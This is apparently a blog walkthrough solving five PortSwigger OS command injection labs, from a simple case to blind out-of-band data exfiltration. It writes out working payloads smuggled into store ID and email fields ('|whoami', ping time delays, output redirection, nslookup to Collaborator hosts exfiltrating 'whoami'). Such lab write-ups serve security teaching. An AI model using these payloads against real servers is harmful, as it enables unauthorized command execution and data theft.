OS command injection is a web security vulnerability that allows an attacker to compromise the entire server and gain access to all the data. If the attacker gains high privileges, he/she can execute root commands on the server. Even if the attacker has low privileges, he/she can still compromise shared hosting or dedicated servers where the targeted site is hosted. In addition, the attacker can scan the internal network, exploit hosting infrastructure, and trust relationships.

OS command injection is also known as shell command injection, where the attacker executes commands on the operating system. If the operating system is Windows-based, the attacker uses DOS commands to execute their commands, and if the victim’s OS is Linux-based, the attacker uses terminal commands.

Types of OS Command Injection

There are mainly five types of OS command injection, starting with the simple case. After that, we have Blind OS Command Injection with time delays. Then, we study Blind OS Command Injection with output redirect. On the fourth number, we have Blind OS Command Injection with out-of-band interaction, and on the fifth number, we have Blind OS Command Injection with out-of-band data exfiltration. We will explore each of these types one by one and solve practical labs provided by PortSwigger Web Security.

We will cover the official labs of OS Command Injection provided by PortSwigger Web Security here.

Here, we are covering the official labs of OS Command Injection provided by PortSwigger Web Security.

OS Command Injection, simple case

Lab Description

This is our first lab on OS Command Injection, which is a simple lab, and the lab description already mentions that the application is vulnerable to shell command injection. When we access the store, we will have an option to enter a user-supplied product and store ID, in which we will inject our command. To solve this lab, we need to execute the ‘whoami’ command on the system.

Let’s solve this lab step-by-step

In the first step, we accessed the lab and clicked on a random product.

After clicking on a random product, we found that there is a ‘check stock’ button that checks the availability of the product in the backend database. If the product is available, the application displays it; otherwise, an error message may appear, indicating that the product is out of stock. Now we know that this function is vulnerable to OS command injection vulnerability. Let’s try to capture it in Burp Suite.

payload to exploit simple OS Command injection: |whoami

As you can see in the screenshot above, I applied an extra command, ‘|whoami,’ and the response showed me the name of the user who is the operating system user on the server. Using this method, we easily exploited this vulnerability.

We had two parameters, the product ID and store ID. The product ID was not vulnerable, but the store ID was vulnerable. When I added a simple OS command injection payload, the server responded with the username.

As you can see, we have solved our first lab on simple OS command injection.

Blind OS command injection with time delays

Lab Description

Now, let’s move on to our second lab, where we have an OS command injection vulnerability in the feedback function. User-supplied input in this application can execute shell commands, but the output is not visible.

To solve this lab, we need to test the blind OS command injection payload on the lab, where we will set a time delay of 10 seconds.

Let’s solve this lab step-by-step

First, I visited the lab, which has a ‘submit feedback’ button in the menu. As mentioned clearly in the lab, the ‘submit feedback’ button is vulnerable to OS command injection, so we need to focus on that.

As you can see, when I clicked on the ‘submit feedback’ button, a form appeared. I entered dummy details in the form and turned on my Burp Suite intercept. I clicked on the ‘submit feedback’ button to submit the request, and I captured the request in the Burp Intruder. Now, I will send this request to the repeater and try my payloads there to exploit the vulnerability.

payload to exploit this lab: email=x||ping+-c+10+127.0.0.1||

Now, I will add my payload with a time delay in the email parameter, as the email parameter is vulnerable to OS command injection.

As you can see, if you note the response time in the response tab, it took almost 10 seconds to respond from the server, which confirms that there is a blind OS command injection vulnerability with time delay in this lab.

Advanced Bug Bounty Automation

We have successfully solved this lab. You can refresh the feedback section to confirm.

Blind OS command injection with output redirection

Lab Description

In this lab, we have a blind OS command injection vulnerability in the feedback function. The interesting thing is that user-supplied details can execute shell commands, but we cannot see the response. However, we can redirect the output to a file and then access it from the application layer. The location provided in the lab is /var/www/images/, where we have a writable folder where images for the application’s product catalog are stored. If we inject our command into a file and save it in this location, we can access it from the application layer. To solve this lab, we need to execute the ‘whoami’ command and save it to a file named ‘output.txt’ on the server and then access it from the web application.

Let’s solve this lab step-by-step

First, I accessed the lab and clicked on the feedback option from the menu. A form appeared where we can submit feedback. I submitted a random feedback and saw the response in the HTTP history tab of Burp Suite. I captured the request in the repeater, which we will use to exploit the vulnerability and solve the lab.

steps to solve this lab:

Step 1: Submit a random feedback request and then send it to the repeater.

payload:email=||whoami>/var/www/images/output.txt||

Step 2: Copy this payload and replace it with the email parameter. This payload will create a file named ‘output.txt’ in the ‘/var/www/images’ folder and store the ‘whoami’ command in it.

As you can see, I successfully submitted the payload.

Now, I will go to the HTTP request history and click on the filter option, select ‘Images’ and click on apply. As you can see in the screenshot, I have only 6 requests and responses. However, after applying the filter, there are more requests and responses, as we are also showing the images.

Now, we have received many image locations, and we enabled them to access our payload, which we created on the server. Let’s pick a random image and send it to the repeater.

filename=output.txt

Our goal is to modify the ‘/image?filename=’ and fetch our file, which we created on the server.

As you can see in the screenshot, I modified the ‘/image?filename=’ and added the name of our file, ‘output.txt’, which contains the ‘whoami’ command. In the response tab, we can see the user.

After refreshing the lab, we have successfully solved it.

Blind OS command injection with out-of-band interaction

Lab Description

In this lab, we have the same vulnerability at the same location as the previous one. Where we have to access the feedback function and execute blind OS command injection vulnerability. In this case, we cannot redirect our payload to any file or see the result in the response. Therefore, we need to use Burp Collaborator to view our results.

Let’s solve the lab. First,

we need to access the lab and open the feedback function.

After accessing the feedback function. We filled in dummy data and submitted the request, then captured it and sent it to Burp repeater.

email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||

In the above payload, we need to replace the BURP-COLLABORATOR-SUBDOMAIN with our Burp Collaborator link.

here is our burp collab link put it in payload : w2z0n9zcw98txdlvodwf5c842v8lwa.oastify.com

final version of our payload :  email=x||nslookup+x.w2z0n9zcw98txdlvodwf5c842v8lwa.oastify.com||

After adding the final version of the payload to the email parameter. Which we have captured and kept in the repeater, We can visit our Burp Collaborator.

In Burp Collaborator, we can see DNS requests, which means our payload has been executed successfully.

After refreshing the lab, we have successfully solved this Blind OS Command Injection with Out-of-Band Interaction lab. Now, we can move on to our final lab.

Blind OS command injection with out-of-band data exfiltration

Lab Description

This lab is vulnerable to blind OS command injection in the feedback function. We cannot redirect the output or results of the command injection. Therefore, we need to use Burp Suite Pro to solve this lab by triggering out-of-band interaction using Burp Collaborator.

Solution Steps

First, access the lab and submit a random feedback through the feedback function. After that, open the Burp HTTP history tab. Find the /POST based request that was generated by submitting the feedback. Forward that request to the Repeater.

Payload: email=||nslookup+whoami.BURP-COLLABORATOR-SUBDOMAIN||

Next, open Burp Collaborator and copy its address. insert the copied address into the payload mentioned above where it says ‘BURP-COLLABORATOR-SUBDOMAIN,’ and use Burp Suite Pro to trigger out-of-band interaction via Burp Collaborator to solve this lab.”This payload will inject a command into the email parameter, which we know is vulnerable to blind OS command injection.

payload final version : email=||nslookup+`whoami`.w301wfwmoto4lj4mtrgg64g1lsrif7.oastify.com||

paste your final payload in email function and forward the request.

We have successfully injected our payload. Now we will check the Burp Collaborator to see if we received any results.

We have successfully injected our payload, and now we will check the Burp Collaborator to see if we received any results.

Finally, we have solved this lab. We have successfully solved five labs in this article, covering basic to advanced OS command injection vulnerabilities. We hope you enjoyed reading this article, and don’t forget to follow us on Twitter at @masaudsec.

The next topic to continue this series is Information Disclosure, You must have to complete the OS Command Injection topic before starting the next topic in this series. Good Luck!

Now you have officially completed all the labs for Command Injection, Now you have to move towards the Information Disclosure Labs Start from Here : Information Disclosure In Error Messages, Information Disclosure On Debug Page, Source Code Disclosure Via Backup Files, Authentication Bypass Via Information Disclosure, Information Disclosure In Version Control History, Automate Information Disclosure Vulnerabilities. Good Luck!

Now you have officially completed all the labs for Information Disclosure, Now you have to move towards the Access Control Labs Start from Here : Unprotected Admin Functionality. Good Luck!